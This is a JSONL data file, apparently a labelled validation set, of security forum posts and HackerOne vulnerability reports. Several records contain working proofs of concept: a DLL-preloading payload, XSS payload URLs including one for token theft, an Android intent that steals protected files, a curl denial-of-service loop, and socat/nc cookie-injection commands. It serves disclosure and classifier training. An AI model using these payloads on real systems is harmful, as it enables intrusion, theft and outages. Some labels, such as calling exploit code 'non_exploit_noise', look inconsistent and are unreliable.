-{"id": "ac47498658ad588ddf4a", "text": "[Unknown] Misconfiguration in build environment allows DLL preloading attack\n\n## Summary:\n`monero-wallet-gui.exe` tries to dynamically load some dynamic link libraries(DLL) which are not present in the applications directory, so `LoadLibraryA` system-call will search other directories such as Windows root and %PATH% for them. An attacker can gain arbitrary code execution if he/she has write permission to any of the directories within the `%PATH%`.\n\nList of DDLs:\n- `ZLIB1.dll` \n- `perf.dll` loaded by `atio6axx.dll` (AMD OpenGL)\n\n## Releases Affected:\n\nTried on `v0.16.0.0` on Windows 10 Home Edition with AMD GPU\n\n## Steps To Reproduce:\n\n  1.  Create a DLL and put the exploit in `DLL_PROCESS_ATTACH` event.\n  2. Rename the DLL to `ZLIB1.dll`\n  3. Copy the DLL to any directory in the path(`echo %PATH%`)\n  4. Run `monero-wallet-gui.exe`\n\n## Supporting Material/References:\n\nPoC DLL:\n```\n#include <windows.h>\n\nBOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)\n{\n    switch(fdwReason)\n    {\n        case DLL_PROCESS_ATTACH:\n            system(\"cmd /Q /D /C calc.exe\");\n        case DLL_PROCESS_DETACH:\n        case DLL_THREAD_ATTACH:\n        case DLL_THREAD_DETACH:\n            break;\n    }\n    \n    return TRUE;\n}\n```\n\n## Housekeeping\n\nAddress: 8C5XAD3aAH9CfwCh7M8vhXgzyLPCLQTPWJk6nXnxGPpH2dGfEShuWWzdXqz92tWu2874A13BEwp6SeGhWK6MAJzvKCxZW4L\n\n## Impact\n\nArbitrary code execution and  privilege escalation", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0e67b2ff609d90b44527", "text": "[Information Disclosure] .git folder exposed [HtUS]\n\nHeyy there,\nI have found a exposed .git folder on https://█████\n\n\n\nhttps://████████/.git/config\n\n\n```\n[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false\n\tlogallrefupdates = true\n[remote \"origin\"]\n\turl = https://████\n\tfetch = +refs/heads/*:refs/remotes/origin/*\n\n```\n\n\nUsing gitdumper (https://github.com/internetwache/GitTools) , I was able to dump the whole `.git` directory and later was able to get access to the whole source code of the ███ application.\n\n```bash\ncode\n├── 404.php\n├── build\n│ └── app.min.js.map\n├── css\n│ └── style.css\n├── debug\n│ ├── debug.css\n│ ├── debug.js\n│ └── debug.svg\n├── dispatch.php\n├── files\n│ └── images\n├── index.php\n├── install.php\n├── js\n│ ├── config.development.js\n│ └── config.production.js\n├── manual\n│ ├── css\n│ │ └── manual.css\n│ └── index.php\n├── private\n│ ├── Gruntfile.js\n│ ├── bootstrap.php\n│ ├── build.js\n│ ├── classes\n│ │ ├── Config.php\n│ │ ├── Controller.php\n│ │ ├── Database.php\n│ │ ├── DatabaseResult.php\n│ │ ├── DatabaseResultRow.php\n│ │ ├── DebugLog.php\n│ │ ├── Dictionary.php\n│ │ ├── FileUploader.php\n│ │ ├── ImageUploader.php\n│ │ ├── Importer.php\n│ │ ├── Installer.php\n│ │ ├── ModelController.php\n│ │ ├── Modeler.php\n│ │ ├── ███████\n│ │ │ ├── Controller.php\n│ │ │ ├── ProblemFetcher.php\n│ │ │ └── Status.php\n│ │ ├── ███████Browser.php\n│ │ ├── Perls\n│ │ │ ├── Controller.php\n│ │ │ └── UserManager.php\n│ │ ├── Request.php\n│ │ ├── Router.php\n│ │ ├── UploadController.php\n│ │ ├── UserLogin.php\n│ │ ├── XmlImporter.php\n│ │ └── xAPI\n│ │     ├── Builder.php\n│ │     ├── Controller.php\n│ │     └── Logger.php\n│ ├── config.json\n│ ├── controllers\n│ │ ├── Author\n│ │ │ ├── Applications.php\n│ │ │ ├── Categories.php\n│ │ │ ├── DefaultParameters.php\n│ │ │ ├── Globals.php\n│ │ │ ├── Images.php\n│ │ │ ├── Lists.php\n│ │ │ ├── Modules.php\n│ │ │ ├── ProblemLayouts.php\n│ │ │ ├── ProblemTemplates.php\n│ │ │ ├── Problems.php\n│ │ │ ├── Publish.php\n│ │ │ ├── Tags.php\n│ │ │ ├── Unpublish.php\n│ │ │ ├── UploadImage.php\n│ │ │ └── Users.php\n│ │ ├── Import\n│ │ │ ├── Parse.php\n│ │ │ └── Submit.php\n│ │ ├── ███\n│ │ │ ├── Browse.php\n│ │ │ ├── Load.php\n│ │ │ ├── Problem.php\n│ │ │ ├── Reset.php\n│ │ │ └── Sequence.php\n│ │ ├── Perls\n│ │ │ ├── ListModules.php\n│ │ │ ├── ProbeProblems.php\n│ │ │ ├── Request██████.php\n│ │ │ ├── SampleProblems.php\n│ │ │ └── UserStatus.php\n│ │ ├── User\n│ │ │ ├── ConfirmEmail.php\n│ │ │ ├── Consent.php\n│ │ │ ├── Login.php\n│ │ │ ├── Logout.php\n│ │ │ ├── Register.php\n│ │ │ ├── ResetPassword.php\n│ │ │ ├── Save.php\n│ │ │ ├── Touch.php\n│ │ │ ├── Unique.php\n│ │ │ └── VerifyEmail.php\n│ │ └── xAPI\n│ │     ├── Categories.php\n│ │     ├── Modules.php\n│ │     ├── Problems.php\n│ │     ├── Statements.php\n│ │     └── Users.php\n│ ├── install.xml\n│ ├── models\n│ │ ├── Applications.php\n│ │ ├── Categories.php\n│ │ ├── FileTags.php\n│ │ ├── GlobalParameters.php\n│ │ ├── ImageTypes.php\n│ │ ├── Images.php\n│ │ ├── Lists.php\n│ │ ├── Modules.php\n│ │ ├── ProblemLayouts.php\n│ │ ├── ProblemTemplates.php\n│ │ ├── Problems.php\n│ │ └── Users.php\n│ ├── package.json\n│ ├── sql\n│ │ ├── application_parameters.sql\n│ │ ├── applications.sql\n│ │ ├── categories.sql\n│ │ ├── category_parameters.sql\n│ │ ├── category_prerequisites.sql\n│ │ ├── completed_modules.sql\n│ │ ├── file_tags.sql\n│ │ ├── global_parameters.sql\n│ │ ├── image_tag_map.sql\n│ │ ├── image_types.sql\n│ │ ├── images.sql\n│ │ ├── lists.sql\n│ │ ├── module_parameters.sql\n│ │ ├── modules.sql\n│ │ ├── performances.sql\n│ │ ├── priorities.sql\n│ │ ├── problem_graph.sql\n│ │ ├── problem_layouts.sql\n│ │ ├── problem_parameters.sql\n│ │ ├── problem_templates.sql\n│ │ ├── problems.sql\n│ │ ├── problems_logged.sql\n│ │ ├── retired_categories.sql\n│ │ ├── user_authentication.sql\n│ │ ├── user_status.sql\n│ │ ├── users.sql\n│ │ └── xapi_statements.sql\n│ └── vendor\n│     └── TinCanPHP\n│         ├── About.php\n│         ├── Activity.php\n│         ├── ActivityDefinition.php\n│         ├── ActivityProfile.php\n│         ├── Agent.php\n│         ├── AgentAccount.php\n│         ├── AgentProfile.php\n│         ├── Attachment.php\n│         ├── Context.php\n│         ├── C", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "005070fe4291e6023f4c", "text": "[Violation of Secure Design Principles] Dangling DNS Record docs.jitsi.net (unsuccessful GSuite takeover)\n\nHI Team , it is possible for a Attacker to do Sub-domain takeover - http://docs.jitsi.net/\n\nAs we can see in the Screenshot it is 404 and belongs to ghs google\n\nAs I tried claiming the domain it was possible for me to claim it by using workspace .\n\nHence it is possible to do Sub-domain Takeover\n\n## Impact\n\nAn attacker can claim this subdomain by requesting a process of registering this abandoned subdomain to his name.\nAnd attacker can fully take over this subdomain and do whatever he wants. this can cause huge damage to the website's main domain as well as to the company.\nI Recommend removing  the Cname and DNS connecting to it.\n\nYou can read about this sort of attacks here : https://www.siteground.com/tutorials/googleapps/google_calendar.htm", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "999d106baf73792a5e29", "text": "Working with Web Services, linux fundamentals\n\nhello i am unsure about question “Find a way to start a simple HTTP server inside Pwnbox or your local VM using “npm”. Submit the command that starts the web server on port 8080 (use the short argument to specify the port number).” i tried … npm install -g http-server; server-http -p 8080 i get a response ideal tree lib", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6512e863e62bead4fc50", "text": "I can’t get past the part where it says DFU device disconnected, everytime it keeps saying error 20", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-02-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3ec7d73bcf9d5262fcf1", "text": "[Cross-site Scripting (XSS) - Reflected] CVE-2023-24488 xss on https://██████/\n\n**Description:**\n\n\n## References\n\n## Impact\n\nmalicios js inejction , cookie stealing\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2023-24488\n\n## Steps to Reproduce\n1.  `https://█████/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>`\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-24488"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "130bdb85781f93b5c3d9", "text": "[Violation of Secure Design Principles] Theft of protected files on Android\n\nThere is an issue that allows to retrieve any files from protected directory of application - ```/data/data/com.owncloud.android/*```.\nThe issue is caused by exported activity ```com.owncloud.android.ui.activity.ReceiveExternalFilesActivity``` with intent filter ```android.intent.action.SEND_MULTIPLE``` that accepts URI of files for upload. Any 3rd-party application could start this activity and upload on server any files such as database file from protected directory in context of owncloud application.\n\nTested on latest stable version of app - 2.19.\nVersion of android - 11.\n\nJava PoC:\n```Java\nStrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();\nStrictMode.setVmPolicy(builder.build());\nIntent intent = new Intent(\"android.intent.action.SEND_MULTIPLE\");\nintent.setClassName(\"com.owncloud.android\", \"com.owncloud.android.ui.activity.ReceiveExternalFilesActivity\");\nintent.setType(\"*/*\");\nintent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);\nArrayList mStreamsToUpload = new ArrayList<>();\nmStreamsToUpload.add(Uri.parse(\"file:///data/data/com.owncloud.android/databases/filelist\"));\nintent.putExtra(\"android.intent.extra.STREAM\", mStreamsToUpload);\nstartActivity(intent);\n```\n\n**Mitigation:**\nThere is valid protection for preventing reading files from directory ```/data/data/com.owncloud.android/*``` in similar intent-filter ```android.intent.action.SEND```. Copy this protection for ```android.intent.action.SEND_MULTIPLE```.\n\n## Impact\n\nPotential attacker could steal files from protected directory of application for example files of databases, cache and history of files.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e3299be2ee8bf4b9582a", "text": "A lot. Google is yr friend they say. Forbes Microsoft Confirms Seven Critical Windows 10 Vulnerabilities, And Attackers... Microsoft confirms a total of seven critical Windows 10 security vulnerabilities and two 'zero-days' that are being actively exploited cvedetails.com Microsoft Windows 10 : CVE security vulnerabilities, versions and detailed... Microsoft Windows 10 security vulnerabilities, exploits, metasploit modules, vulnerability statistics and list of versions etc…", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-08-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "818b734023d9390365a0", "text": "Thanks for the shout out and I’m glad i contributed in some ways. Lets keep the fight and definitely wish you all the best in Information Security World. Let me know if you need any help going forward.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "50c1da9b267b7b70cd68", "text": "[Improper Access Control - Generic] Broken Authentication\n\n**Summary:** IDOR\n\n**Description:** It is possible to access other user account by changing the parameter 'email' to another valid e-mail, i managed to guess an existing user '███████@███.com' which discloses the ███ \nName and Surname.\n\n## Impact\nInformation Disclosure\n\n## Step-by-step Reproduction Instructions\n\n1.Visit: https://██████\n2. Register for an account\n3. Follow the steps like in the attached pictures\n\n## Product, Version, and Configuration (If applicable)\nWeb Application\n\n## Suggested Mitigation/Remediation Actions\nhttps://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet\n\n## Impact\n\nInformation Disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6ad932da2ad521b2d973", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS [██████]\n\nReflected cross-site scripting (XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way. An attacker can execute JavaScript arbitrary code on the victim's session.\nSteps To Reproduce\n\n Go to this URL:\nhttps://███████/7/0/33/1d/www.citysearch.com/search?what=x&where=place%22%3E%3Csvg+onload=confirm(document.domain)%3E\n\n## Impact\n\n- Perform any action within the application that the user can perform.\n- View any information that the user is able to view.\n- Modify any information that the user is able to modify.\n- Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n- Steal user's cookie.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5b63ef5ee40ca7e62eff", "text": "[Uncontrolled Resource Consumption] DoS via Automatic Response Message\n\n## Summary:\nA user can enable and modify its automatic response message, that is automatically sent when the user has the \"Out of Office\" status. This response message doesn't have any size check or validation, which allows an attacker to set an almost unlimited number of characters as the response value.\n\nIn a production environment is possible to set up to 50MB of data, due to the default nginx configuration, as the response message value, which causes the server to stop responding to user requests and ultimately leads to the server crash due to the incapacity to update and handle such a large amount of data.\n\n## Steps To Reproduce:\n\n1. Login as a normal user in the platform.\n2. Grab the `MMAUTHTOKEN` authentication token.\n3. Generate the payload string, which consists in 50000000(50MB) characters. Python can be used for this:\n   ```bash\n   python2.7 -c \"print 'A' * 50000000\"\n   ```\n4. Send the following `PUT` request to the `/api/v4/users/me/patch` API Endpoint:\n   ```\n   PUT http://localhost:8065/api/v4/users/me/patch\n   Content-Type: application/json\n   X-CSRF-TOKEN: <csrf-token>\n   Cookie: MMAUTHTOKEN=<token>\n   \n   {\"notify_props\":{\"auto_responder_active\":\"true\",\"auto_responder_message\":\"<payload>\"}}\n   ```\n5. For a greater impact, the above request should be sent 5 times at the same time. After the requests are sent, the server will start to consume an abnormal quantity of computing resources, and crashes after some seconds.\n6. The application becomes unavailable for all its users.\n\nThe steps 3-6 can be automated using the following 2 commands:\n\n```bash\n$ python2.7 -c \"print '{\\\"notify_props\\\":{\\\"auto_responder_active\\\":\\\"true\\\",\\\"auto_responder_message\\\":\\\"' + 'A' * 50000000 + '\\\"}}'\" > payload\n\n$ for ((i = 0; i < 5; i++)); do curl -X PUT \"http://<domain>/api/v4/users/me/patch\" -H 'Content-Type: application/json' -d @payload --cookie \"MMAUTHTOKEN=<token>\" -H \"X-CSRF-TOKEN: <csrf-token>\" &; done;\n```\n## Supporting Material/References:\n\n  *  PoC Video \n{F1883883}\n\n## Impact\n\nA user can cause a full denial of service attack in the application server, making the application server unavailable to all its users.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aae15598c36afcbecb29", "text": "Hy everyone, I am at flag5. I have a webshell and try to get a meterpreter revshell using the multi/http/tomcat_mgr_upload moudle, I set username,password, RPORTS, LPORT=8080 but when I start the exploit it gives back this message: image 1925×153 8.57 KB Does somebody know why the server does not return a fingerprint even though it is clearly running under 8080? Btw: does somebody know how to execute msfvenom war payloads on the webserver. Do I just need to click on it? Because I only get a error message and no callback to my multi/handler . image 822×675 52.6 KB image 893×291 25.8 KB", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "064be52e26870e0ae676", "text": "Stuck for a few days at Elasticity. I’m pretty sure I’m aiming at the correct ports locally but it keeps timing out. Please DM me if you have a pointer or two", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "041eef8a6eeeeb665290", "text": "[Insecure Direct Object Reference (IDOR)] Ownership check missing when updating or deleting attachments\n\n## Summary:\n\nOwnership check is missing for attachments.\n\n## Steps To Reproduce:\n\n1. Open mail app\n2. Compose a new message\n3. Attach some file\n4. Send message\n5. Copy the xhr request and modify the attachment ids \n6. See that local_message_id is changed for a different user\n\nWhen you compose a message and put them into the outbox to send them later we keep a reference for the attachments in oc_mail_attachments. An attacker is able to overwrite the local_message_id for an existing attachment  or delete the given row. Impact is that for the given message in the outbox the attachment is unavailable. \n\n- It's not possible to delete the actual attachment on file. Only the database reference. \n- It's not possible to send another person's attachment to you or someone else. \n\n## Supporting Material/References:\n\nhttps://github.com/nextcloud/mail/blob/1752cbbba12285a4e93ec257d6e06ac1f790b171/lib/Db/LocalAttachmentMapper.php#L89-L118\n\n## Impact\n\nFor the given message in the outbox the attachment is unavailable.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "96795bcd7daa70ae23cb", "text": "[Missing Encryption of Sensitive Data] Waketime Payment Gateway Vulnerability\n\nSummary: Waketime's payment gateway does not encrypt data in transit, which could allow an attacker to intercept and capture card information. This vulnerability could be exploited by a man-in-the-middle (MITM) attack, in which the attacker would insert themselves between the user and the payment gateway, intercepting the data as it is transmitted.\n\nSteps to Reproduce:\n\nVisit the Waketime website.\nProceed to subscribe and enter your credit card information.\nObserve that the data is not encrypted in transit.\nExpected Results: The data should be encrypted in transit, using a secure protocol.\n\nActual Results: The data is not encrypted in transit, and could be intercepted by an attacker.\n\n## Impact\n\nA man-in-the-middle attack is a type of cyberattack in which an attacker inserts themselves between two parties, intercepting and modifying the communication between them.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "30367c77b75ea692e7ea", "text": "From Docker to Docker connection\n\nVB - Kali VB - Ubuntu - Docker JuiceShop Kali can ping Ubuntu, JuiceShop can ping Kali How can I access from Kali to JuiceShop with tools like nmap, etc. If I setup Docker in Kali and have tools inside, how can I access from nmap in Docker(Kali) to JuiceShop in Docker(Ubuntu)?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-04-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "42b03664f8bec5ebec43", "text": "[Session Fixation] Cookie injection from non-secure context\n\n## Summary:\n\nCurl allows injecting cookies over insecure HTTP connection that will then be sent to the target site when connecting over HTTPS.\n\nAs documented in lib/cookie.c https://github.com/curl/curl/blob/a04f0b961333e1a19848d073d8c7db9c20b2a371/lib/cookie.c#L1039 this should not be possible:\n```\n            /*\n             * A non-secure cookie may not overlay an existing secure cookie.\n             * For an existing cookie \"a\" with path \"/login\", refuse a new\n             * cookie \"a\" with for example path \"/login/en\", while the path\n             * \"/loginhelper\" is ok.\n             */\n```\n\nThis will allow session fixation (CWE-384) attack where the attacker replaces the session of the victim with their own. If the victim performs for example upload operations the upload will be sent to the account controlled bit he attacker.\n\nThis attack requires that the application in question does or  can be coaxed to make accesses to the same host over insecure HTTP connection. The attacker needs to either perform Man in the Middle attack to these insecure connections, or be able to host a HTTP server on another port on the same host.\n\n## Steps To Reproduce:\n1. Set up a HTTPS server that will respond to requests setting the SESSIONID cookie. This simulates the victim accessing the site normally. Note that the cookie has *secure* attribute:\n ```\necho -ne \"HTTP/1.1 200 OK\\r\\nSet-Cookie: SESSIONID=victimstoken; secure\\r\\nContent-Length: 0\\r\\n\\r\\n\" | socat STDIN OPENSSL-LISTEN:9999,commonname=somesite.tld,reuseaddr,verify=0,key=privkey.pem,cert=fullchain.pem\n ```\n\n2. Access the site with curl to simulate a victim login:\n ```\n curl -c cookies.txt -b cookies.txt https://somesite.tld:9999/\n ```\n\n3. Simulate the attacker either performing a MitM attack or being able to host HTTP on another port on the same host:\n\n ```\n echo -ne \"HTTP/1.1 200 OK\\r\\nSet-Cookie: SESSIONID=hackerstoken; domain=somesite.tld\\r\\nContent-Length: 0\\r\\n\\r\\n\" | nc -v -l -p 3333\n ```\n\n4. Simulate the victim visiting the attacker controlled content:\n\n ```\n curl -c cookies.txt -b cookies.txt http://somesite.tld:3333/\n ```\n\n5. Start HTTPS server that will dump the Cookie headers sent by libcurl:\n ```\n socat OPENSSL-LISTEN:9999,commonname=somesite.tld,reuseaddr,verify=0,key=privkey.pem,cert=fullchain.pem STDOUT\n ```\n\n6. Simulate the victim accessing the target site again:\n  ```\n curl -c cookies.txt -b cookies.txt https://somesite.tld:9999/\n ```\n\nThe following cookies are now sent by curl:\n`Cookie: SESSIONID=victimstoken; SESSIONID=hackerstoken`\n\nThe order the cookies appears to depend on the order of the lines in cookie store. Depending on how the victim site interpreted the multiple SESSIONID cookies the attacker may want to try to inject the cookie before login by the victim, or after the login.\n\nAfter successful attack the cookie.txt looks like this:\n```\n# Netscape HTTP Cookie File\n# https://curl.se/docs/http-cookies.html\n# This file was generated by libcurl! Edit at your own risk.\n\n.somesite.tld    TRUE    /       FALSE   0       SESSIONID       hackerstoken\nsomesite.tld     FALSE   /       TRUE    0       SESSIONID       victimstoken\n```\n\nThis is CWE-384: Session Fixation.\n\n## Impact\n\nCookie injection leading to CWE-384: Session Fixation and/or other similar attacks.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e81e59b2b2313cf893ad", "text": "[Privilege Escalation] Brave News feeds can open arbitrary chrome: URLs\n\n## Summary:\nURL link in Brave News feeds can open arbitrary chrome: URLs.\nThis behavior can be exploited as a way to bypass SOP and gain access to privileged URLs.\n\n## Products affected: \n\n * 1.46.144 Chromium: 108.0.5359.128 (Official Build) （x86_64）\n\n## Steps To Reproduce:\n\n * Open new tab and click customize button\n * Follow https://csrf.jp/brave/rss_chrome.php as a RSS feed of Brave News\n * Reload the tab\n * RSS feeed that name is \"Access chrome: URLs\" is shown on Brave News\n * Click the feed\n * `chrome://settings/resetProfileSettings?origin=userclick` is opened on the tab\n\n## Supporting Material/References:\n\n  * See the demonstration movie I attached\n\n## Impact\n\nBypass SOP and gain access to privileged URLs.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4f6d0b497445f4868dbe", "text": "[Uncontrolled Resource Consumption] curl \"globbing\" can lead to denial of service attacks\n\n## Summary:\n[add summary of the vulnerability]\n\nThe curl \"globbing\" allows too much scope, which can cause the server to be denied service or used to attack third-party websites. The globbing allow [1-9999999999999999999] to parse in the url. So when curl request for 'http://127.0.0.1/[1-9999999999999999999]', the can cause 300 requests in the server.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Listen 8000 port: python -m SimpleHTTPServer 8000\n  2.  command: nohup ./curl -vv 'http://127.0.0.1:8000/[1-9999999999999999999]/' &\n  3. Check the server resource process. There are a lot of network requests and CPU consumption. \n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nWith this function, the resources of the server running curl request can be excessively consumed or a large number of URL accesses to other websites can be initiated, resulting in denial of service.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a0d51da909ccedce5409", "text": "Hi @winterr_dog,Thank you so much for the suggestion.Including the suggest part in the code is really more convenient than killing the process every time.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-05-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2feed3dce9b5eaeaa11c", "text": "[Misconfiguration] Subdomain Takeover on proxies.sifchain.finance pointing to vercel\n\nHello Team,\n\nSubdomain takeover vulnerabilities occur when a subdomain (subdomain.example.com) is pointing to a service (e.g. GitHub pages, Heroku, etc.) that has been removed or deleted. This allows an attacker to set up a page on the service that was being used and point their page to that subdomain. For example, if subdomain.example.com was pointing to a GitHub page and the user decided to delete their GitHub page, an attacker can now create a GitHub page, add a CNAME file containing subdomain.example.com, and claim subdomain.example.com.\nHere there is a Sifchain domain  (proxies.sifchain.finance) which is pointing towards vercel pages so  this domain can be taken over can can be used to do any type of attacks mostly i can make a fake login page on your behalf and spoof your users, this is a critical vulnerability and needs to be fixed .\n\n{F1627827}\n\nVulnerable url : https://proxies.sifchain.finance/\n\n{F1627821}\n\nCname: cname.vercel-dns.com\nName: proxies.sifchain.finance\nType: CNAME\nClass: IN\n\n## Steps To Reproduce/Concept:\n\n1. Visit https://vercel.com/login and login with dev sifchain account\n\n2. Check the availability of the proxies.sifchain.finance sub domain at https://vercel.com/[YourUsername]/sveltekit/settings/domains\n\n3. The proxies.sifchain.finance sub domain does not exist. Potential to be claimed by others\n\n## Remediation:\nRemove the cname entry or claim the subdomain proxies.sifchain.finance on vercel.com\n\n## References:\nhttps://github.com/EdOverflow/can-i-take-over-xyz/issues/183\n\n{F1627822}\n{F1627826}\n\nhttps://github.com/EdOverflow/can-i-take-over-xyz\nhttps://labs.detectify.com/2014/10/21/hostile-subdomain-takeover-using-herokugithubdesk-more/\nhttps://0xpatrik.com/subdomain-takeover/\nhttp://yassineaboukir.com/blog/neglected-dns-records-exploited-to-takeover-subdomains/\n\nBest Regards,\n@hrdfrdh\n\n## Impact\n\nFake website\nMalicious code injection\nUsers tricking\nCompany impersonation\nThis issue can have really huge impact on the companies reputation someone could post malicious content on the compromised site and then your users will think it's official but it's not", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bd3d12f0e2925d26f7c8", "text": "[Cross-site Scripting (XSS) - Generic] XSS at jamfpro.shopifycloud.com\n\n*Description*\nThere is Jamf Pro running at https://jamfpro.shopifycloud.com/ which has old Swagger-UI exposed at /classicapi/doc/. I think it's possible to take over the Jamf Pro account of the user that clicks the link. (more about that below) \n\n*Steps to reproduce*\n\n**POC with simple alert box**:\n1. Open `https://jamfpro.shopifycloud.com/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==`\n2. You should see an alert box (F1573391)\n\n**POC rendering phishing page**:\n1. Click the link: `https://jamfpro.shopifycloud.com/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjogImh0dHBzOi8vdGVhcmZ1bC1lYXJ0aC5zdXJnZS5zaC90ZXN0LnlhbWwiLAp9`\n2. You should see a phishing page rendered (F1573392)\n\n**POC of stealing auth token**:\nJamf Pro stores authentication token in localstorage under `authToken` key when you authenticate using login and password, so my assumption is that it will do the same for Saml authentication. (you will have to test that) If it's true then taking over the user's account who clicked the link would be trivial. The POC below will print `authToken` from localstorage.\n\n1. Authenticate to `jamfpro.shopifycloud.com` and click the link: `https://jamfpro.shopifycloud.com/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==`\n2. You should see an alert box with auth token. \n\n## Impact\n\nAn attacker can execute arbitrary JS code in the context of https://jamfpro.shopifycloud.com/ - it means he can do whatever authenticated user at https://jamfpro.shopifycloud.com/ could do.\n\n## Impact\n\nAn attacker can execute arbitrary JS code in the context of https://jamfpro.shopifycloud.com/ - it means he can do whatever authenticated user at https://jamfpro.shopifycloud.com/ could do.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
